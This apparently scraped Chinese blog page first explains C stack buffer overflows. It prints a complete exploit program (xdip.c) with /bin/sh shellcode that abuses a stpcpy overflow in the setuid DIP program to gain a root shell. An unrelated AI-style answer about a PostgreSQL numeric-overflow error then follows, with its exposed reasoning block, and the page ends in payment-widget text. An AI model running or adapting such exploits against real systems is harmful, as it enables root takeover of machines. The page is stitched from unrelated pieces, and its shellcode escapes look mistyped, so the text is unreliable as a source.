What is "Buffer Overflows" and "format string vulnerabilities"

本文详细介绍了C语言中的缓冲区溢出漏洞原理及利用方法,并通过具体实例展示了如何利用此类漏洞获取系统root权限的过程。

 

伦敦大学孟博士极力推荐的内容.

 

网站是 http://doc.bughunter.net/

 

1. C 语言缓冲溢出漏洞
http://doc.bughunter.net/buffer-overflow/buffer-overflows.html

 

2. C++ 虚函数缓冲溢出漏洞

http://doc.bughunter.net/buffer-overflow/cpp-vptrs.html

 

3. 格式化字符串漏洞

http://doc.bughunter.net/format-string/exploit-fs.html

 

 

时间关系只粗粗看了其中的第一篇文章.

1. C 语言缓冲溢出漏洞

 

栈的地址一般是这样的。

|_parametre_I___| EBP+12
|_parametre II__| EBP+8
|_return adress_| EBP+4
|___saved_ESP___| EBP ESP
|_local var I __| EBP-4
|_local var II__| EBP-8

函数调用开始的时候,CPU把函数调用后的返回地址Push进栈中,然后再跳转到被调用函数的入口程序存储器地址执行。
被调用函数结束后,函数局部变量依次被Pop出来,CPU调用返回指令(不同ARCH的CPU指令名并不相同)跳转到主程序地址。
这样一个函数调用就结束了。

如果被调用函数的局部缓冲溢出,正好覆盖了返回地址的值,则导致程序返回的时候无法返回到主程序。再进一步,如果这个返回地址
被黑客利用修改成某一段可执行的程序地址,则那段程序就会被执行了,如果那段程序被设置成新建一个Shell进程。
则黑客可以轻松利用当前用户登陆到系统,更进一步,如果当前进程正好是SUID限权,黑客新建的shell登陆就是root权限的! 很恐怖哦。

在3.3.7o-uri (8 Feb 96) 版本 DIP (Dial-Up IP Protocol) 程序中就有这样一个缓冲区溢出漏洞. 而这个程序在很多版本的Linux系统正好是默认setuid.

出问题的是DIP程序的这句代码.
l = stpcpy(l, argv[i]);

程序没有判断argv[i] 的长度,就将命令参数传递了进来,这给了黑客机会将凑好的数据塞给DIP程序使得栈中的返回地址被修改.

黑客只要写一个很简单的程序,就可以获得系统的root权限.

xdip.c :


#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 221
#define ALIGNMENT 1

char sc[]=
"/x31/xc0/x50/x68//sh/x68/bin/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";

void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf + ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");

for (i = 0; i < BUFSIZE - 4; i += 4)
*ap++ = ret;

execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}


字符串
sc[]
是下面这段程序的机器指令,通过objdump 和 gdb 命令可以获得!
#include <unistd.h>

void main()
{
char *shell[2];

shell[0] = "/bin/sh";
shell[1] = NULL;

execve(shell[0], shell, NULL);
}

黑客通过计算和试验,利用程序缓冲区漏洞,修改进程调用main()结束后的程序返回地址,使其指向sc[],
而sc[]做的事情是新建了一个Shell进程.由于SUID的缘故,这样这个Shell进程还是root权限的!












 



 

<think>好的,用户现在遇到了一个错误:“value overflows numeric format”,但之前讨论的是语法错误。我需要先理清楚用户的问题。 用户之前的提问是关于在PostgreSQL中使用“!=”和“! =”的区别,当时第二个查询因为空格问题导致语法错误。现在用户执行了类似的查询,但错误信息不同,变成了数值溢出。这说明用户可能已经修正了语法问题,但出现了新的错误。 首先,我需要确认用户当前的SQL语句是否有语法错误。如果用户仍然在“!”和“=”之间有空格,那么应该先报语法错误,但用户现在得到的是数值溢出错误,这可能意味着用户已经去掉了空格,正确使用了“!=”,但查询中的amt字段可能包含超出数值类型范围的值。 接下来,我需要考虑数值溢出的可能原因。amt字段可能是NUMERIC或DECIMAL类型,并且用户可能在查询中有计算或转换操作,或者数据本身有问题。例如,用户可能在amt字段中有非常大的数值,或者在WHERE子句中进行了某种运算导致溢出。 另外,用户可能误解了错误信息,误以为错误是来自条件语句的写法,但实际上问题出在amt字段的值上。比如,amt字段存储的值超过了定义的精度或范围,或者在查询过程中进行了某种计算导致临时结果超出了范围。 需要检查用户的具体表结构,尤其是amt字段的数据类型。例如,如果定义为NUMERIC(5,2),那么数值超过999.99就会溢出。用户可能在插入数据时没有正确限制数值大小,或者查询中的操作(如乘法)导致结果过大。 另外,用户可能在查询中使用了类型转换,例如将字符串转换为NUMERIC时,字符串内容过大,导致转换失败。或者,在WHERE子句中进行了数学运算,如amt * 1000,导致结果溢出。 还要考虑用户是否在WHERE子句中有其他隐藏的操作,比如函数调用,这些可能引起溢出错误。例如,使用了一些自定义函数处理amt字段,导致中间结果超出范围。 总结可能的解决步骤:建议用户检查amt字段的数据类型,确认是否有数值超出定义的范围,检查查询中是否有运算或转换操作,并建议使用EXPLAIN分析查询计划,查看是否有隐式类型转换或计算步骤导致溢出。</think>你在执行 `SELECT * FROM table_1 WHERE amt ! = 0` 时遇到的 `value overflows numeric format` 错误,**根本原因不是语法问题,而是字段 `amt` 的数据类型或数据值超出了 PostgreSQL 数值类型的范围**。以下是详细分析: --- ### 1. **错误的核心原因** - **字段 `amt` 的数据类型**:如果 `amt` 是 `NUMERIC` 或 `DECIMAL` 类型,且你为该字段定义了固定精度(例如 `NUMERIC(10,2)`),则存入或计算出的数值可能超出定义的范围。 - **数值溢出**:当某个值超过了字段允许的精度(例如 `NUMERIC(5,2)` 最大值为 `999.99`),PostgreSQL 会抛出 `value overflows numeric format` 错误。 - **隐式操作触发溢出**:即使你的查询中没有直接写入计算,某些隐式操作(例如类型转换、函数调用)也可能触发溢出。 --- ### 2. **为什么错误出现在 `WHERE amt ! = 0` 中?** 虽然 `amt ! = 0` 的语法是错误的(`!=` 写成 `! =` 会导致语法错误),但根据你的描述,实际遇到的错误是 `value overflows numeric format`。这意味着: - **你可能已修复了语法问题**(例如改为 `amt != 0` 或 `amt <> 0`),但数据本身的数值触发了溢出。 - **可能的场景**: 1. **数据本身不合法**:`amt` 字段中存在超过其精度定义的值(例如定义为 `NUMERIC(5,2)`,但实际存入了 `1000.00`)。 2. **查询中的隐式计算**:即使直接查询 `amt` 字段,某些隐式类型转换或索引扫描逻辑可能触发了数值校验。 --- ### 3. **验证和解决方法** #### (1) **检查字段定义** 查看 `amt` 字段的数据类型和精度: ```sql \d table_1 ``` 如果输出类似 `NUMERIC(10,2)`,则任何超过 `99999999.99` 的数值都会溢出。 #### (2) **查找非法数据** 执行以下查询,检查是否有超出精度的值: ```sql -- 假设 amt 是 NUMERIC(10,2) SELECT * FROM table_1 WHERE amt >= 100000000.00; -- 根据实际精度调整阈值 ``` #### (3) **修复数据或调整字段精度** - **方案 1**:扩大字段精度: ```sql ALTER TABLE table_1 ALTER COLUMN amt TYPE NUMERIC(15,2); ``` - **方案 2**:清理非法数据: ```sql DELETE FROM table_1 WHERE amt >= 100000000.00; ``` #### (4) **检查查询中的隐式操作** 如果查询包含函数或计算(例如 `amt * 1000`),可能需要显式限制结果范围: ```sql SELECT * FROM table_1 WHERE (amt * 1000) <= 999999999.99; -- 手动限制范围 ``` --- ### 4. **关联问题:语法
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值